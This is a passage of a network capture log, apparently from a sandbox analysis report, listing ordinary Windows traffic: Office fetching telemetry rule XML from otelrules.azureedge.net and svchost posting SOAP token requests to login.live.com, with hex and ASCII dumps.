R="([Uu][Pp][Cc][Ll][Oo][Uu][Dd])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.5	49919	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 22:24:58 UTC	192	OUT	GET /rules/rule120676v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 22:24:59 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 22:24:59 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B984BF177" x-ms-request-id: 18e5e448-501e-000a-7b67-3b0180000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T222459Z-178bfbc474bmqmgjhC1NYCy16c00000006p000000000ac63 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 22:24:59 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120676" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
137	192.168.2.5	49920	40.126.53.11	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 22:24:59 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4775 Host: login.live.com
2024-11-24 22:24:59 UTC	4775	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-24 22:24:59 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Sun, 24 Nov 2024 22:23:59 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C521_SN1 x-ms-request-id: 52a9b8e5-e5db-426d-bc07-57b55111200a PPServer: PPV: 30 H: SN1PEPF0002F105 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Sun, 24 Nov 2024 22:24:59 GMT Connection: close Content-Length: 11409
2024-11-24 22:24:59 UTC	11409	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.5	49922	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 22:24:59 UTC	192	OUT	GET /rules/rule120677v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 22:25:00 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 22:24:59 GMT Content-Type: text/xml Content-Length: 405 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:37 GMT ETag: "0x8DC582B942B6AFF" x-ms-request-id: ce292e58-401e-00a3-2e0a-3d8b09000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T222459Z-178bfbc474bfw4gbhC1NYCunf400000006n0000000006zhp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 22:25:00 UTC	405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5e 5b 58 78 5d 5b 45 65 5d 5b 4e 6e 5d 24 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120677" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <SR T="2" R="(^[Xx][Ee][Nn]$)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
139	192.168.2.5	49923	40.126.53.11	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 22:24:59 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4775 Host: login.live.com
2024-11-24 22:24:59 UTC	4775	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-24 22:25:01 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Sun, 24 Nov 2024 22:24:00 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C521_SN1 x-ms-request-id: bc401f71-1258-4b4e-bca4-40e280bea6f8 PPServer: PPV: 30 H: SN1PEPF0002F1C2 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Sun, 24 Nov 2024 22:25:00 GMT Connection: close Content-Length: 11409
2024-11-24 22:25:01 UTC	11409	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.5	49924	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 22:25:00 UTC	192	OUT	GET /rules/rule120678v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 22:25:01 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 22:25:00 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA642BF4" x-ms-request-id: 26217b89-b01e-001e-808c-3a0214000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T222500Z-178bfbc474bbbqrhhC1NYCvw7400000006ug000000001ts7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 22:25:01 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120678" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.5	49925	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 22:25:00 UTC	192	OUT	GET /rules/rule120679v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 22:25:01 UTC	471	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 22:25:01 GMT Content-Type: text/xml Content-Length: 174 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91D80E15" x-ms-request-id: fb43cdc2-901e-0064-4ebf-3ee8a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T222501Z-178bfbc474bpnd5vhC1NYC4vr400000006k000000000ckxm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-24 22:25:01 UTC	174	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120679" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> </S> <T> <S T="1" /> </T></R>

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.5	49926	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 22:25:01 UTC	192	OUT	GET /rules/rule120680v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 22:25:01 UTC	495	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 22:25:01 GMT Content-Type: text/xml Content-Length: 1952 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B956B0F3D" x-ms-request-id: a5493b62-c01e-0046-23bf-3e2db9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T222501Z-178bfbc474btvfdfhC1NYCa2en00000006qg00000000691h x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-24 22:25:01 UTC	1952	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 31 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120680" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <SS T="1" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> <R T="2" R="120682" /> <F T="3"> <O T="LT"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.5	49927	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 22:25:01 UTC	192	OUT	GET /rules/rule120681v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 22:25:01 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 22:25:01 GMT Content-Type: text/xml Content-Length: 958 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:58 GMT ETag: "0x8DC582BA0A31B3B" x-ms-request-id: 4857c71c-401e-0067-7e3a-3c09c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T222501Z-15b8b599d882l6clhC1TEBxd5c0000000510000000003a6g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 22:25:01 UTC	958	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 38 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120681" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120608" /> <R T="2" R="120680" /> <TH T="3"> <O T="AND"> <L> <O T="EQ"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
144	192.168.2.5	49928	40.126.53.11	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 22:25:01 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4775 Host: login.live.com
2024-11-24 22:25:01 UTC	4775	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-24 22:25:02 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Sun, 24 Nov 2024 22:24:02 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C521_BAY x-ms-request-id: a5a6bc61-c50a-403d-91a6-283e3b5a80ae PPServer: PPV: 30 H: PH1PEPF0001B78B V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Sun, 24 Nov 2024 22:25:02 GMT Connection: close Content-Length: 11409
2024-11-24 22:25:02 UTC	11409	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
145	192.168.2.5	49929	13.107.246.63	443	7296	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 22:25:01 UTC	192	OUT	GET /rules/rule120682v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 22:25:02 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 22:25:02 GMT Content-Type: text/xml Content-Length: 501 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:18 GMT ETag: "0x8DC582BACFDAACD" x-ms-request-id: 18f8ca6a-701e-005c-1e55-3dbb94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T222502Z-174c587ffdfb485jhC1TEBmc1s00000004t000000000nwfq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
